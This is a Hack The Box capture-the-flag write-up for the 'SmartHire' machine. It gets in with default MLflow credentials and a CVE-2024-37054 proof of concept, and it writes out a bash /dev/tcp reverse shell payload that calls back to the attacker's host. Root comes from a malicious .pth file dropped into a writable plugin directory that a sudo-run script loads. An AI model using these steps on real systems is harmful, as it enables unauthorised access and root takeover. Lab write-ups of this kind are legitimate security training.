Hack The Box / LINUX / 2026-09-26
Hack The Box — SmartHire (Linux)
We start with a MLflow vulnerability to get a reverse shell as the user svcweb. Then, we exploit a Python script vulnerability to get code execution as root.
Target
- IP:
10.129.40.238
Port scan
sudo nmap -sC -sV 10.129.40.238 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
|_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://smarthire.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add smarthire.htb to /etc/hosts.
Vhosts enumeration
We can use gobuster to enumerate potential virtual hosts:
gobuster vhost -u 'http://smarthire.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
models.smarthire.htb Status: 401 [Size: 137]
Add models.smarthire.htb to /etc/hosts.
Go to http://models.smarthire.htb/. It requires username and password. If we don't give valid credentials, it says:
You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.
So it is MLflow. Searching on internet, we read that the default credentials should be admin / password. If we try to login with these credentials, it works!
Before going on with MLflow, let's check the main website.
smarthire.htb website
Go to http://smarthire.htb/. We can register a user and login. For example, I registered a user with username test12 and company test23.
After logging in, we can train a Machine Learning model by providing a CSV file. There is an example CSV file on the website:
name,skills,experience,education,position_applied,previous_company
John Smith,"Python, Machine Learning, SQL",60,Master's in CS,Data Scientist,TechCorp
Sarah Johnson,"JavaScript, React, Node.js",36,Bachelor's in SE,Full Stack Dev,StartupXYZ
Mike Brown,"Java, Spring Boot, PostgreSQL",84,Bachelor's in IT,Backend Developer,Enterprise Inc
We can, for example, upload this CSV. The model is trained, and at the end we get:
Model trained successfully!
Model: test23-cc55a5ff9cea-model
Version: v1
Created: 5/17/2026
So we see that the company name is reflected in the model name.
Then, we can click on "Make Predictions". Here, we can upload another CSV file. There is an example:
experience,skills
60,"Python, Machine Learning, SQL"
After uploading this CSV, we can see the prediction results.
Back to MLflow - Exploiting CVE-2024-37054
On the website, we see that the version of MLflow is 2.14.1. Searching on internet for some vulnerabilities, we find CVE-2024-37054, a Remote Code Execution vulnerability in MLflow.
There is a POC available on GitHub:
Clone the poc repo. Install the mlflow library with the target version:
pip install mlflow==2.14.1
In the file poc/log_malicious_model.py, change the MLFLOW_TRACKING_URI variable to point to the target MLflow instance:
MLFLOW_TRACKING_URI = "http://admin:password@models.smarthire.htb"
Also, we need to change the registered model name to match the one we have on the target. In our case, it is test23-cc55a5ff9cea-model:
REGISTERED_MODEL_NAME = "test23-cc55a5ff9cea-model"
Also, we change the payload to get a reverse shell to our machine:
cmd = 'bash -c "bash -i >& /dev/tcp/10.10.16.41/4444 0>&1"'
Now, start a listener for the reverse shell:
nc -vlnp 4444
Then, run the log_malicious_model.py script:
python3 CVE-2024-37054-MLflow-RCE/poc/log_malicious_model.py
We get a connection, but it's our local model, so type exit to close the connection.
In the terminal with the poc we get:
[*] Connecting to MLflow server at http://admin:password@models.smarthire.htb
[*] Crafting malicious model 'test23-cc55a5ff9cea-model'...
Registered model 'test23-cc55a5ff9cea-model' already exists. Creating a new version of this model...
2026/05/17 09:46:22 INFO mlflow.store.model_registry.abstract_store: Waiting up to 300 seconds for model version to finish creation. Model name: test23-cc55a5ff9cea-model, version 2
Created version '2' of model 'test23-cc55a5ff9cea-model'.
[*] Malicious model has been logged to the server.
[*] Run ID: 7f10a9c3252a44aabf7be3c8412a737b
[*] Victim can now load 'test23-cc55a5ff9cea-model' version 1.
Now, for example, if we go to smarthire.htb and click on "Make Predictions", we see that the model test23-cc55a5ff9cea-model version 2 is used. Now, start a listener:
nc -vlnp 4444
Then, upload the CSV file to make predictions. We get a reverse shell connection as the user svcweb.
Checking user's sudo permissions
sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
This is the python script mlflowctl.py:
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def print_usage():
print("Usage: mlflowctl.py [status|backup-models|restart]")
sys.exit(1)
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
else:
print(f"[!] Unknown action: {action}")
print_usage()
if __name__ == "__main__": main()
Looking at the files and dirs under /opt/tools/mlflow_ctl, we see that there is a plugins directory. Inside it, there is an empty dev directory which has these permissions:
drwxrwxr-x 2 root devs 4096 May 12 15:22 /opt/tools/mlflow_ctl/plugins/dev
The user svcweb is part of the devs group, so we can write to this directory.
Exploiting addsitedir to get code execution as root
The vulnerability is that the mlflowctl.py uses addsitedir to all the folders in the plugins directory. As explained in the Python documentation this is what addsitedir does:
Add a directory to sys.path and process its .pth files. Typically used in sitecustomize or usercustomize (see above).
In particular, addsitedir will execute any line starting with import in any .pth file in the added directory. So, we can create a malicious .pth file in the dev directory to get code execution as root.
Create a file named exploit.pth in the /opt/tools/mlflow_ctl/plugins/dev directory with the following content:
import os; os.system('bash')
Then, run the command with sudo:
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
We get a shell as root.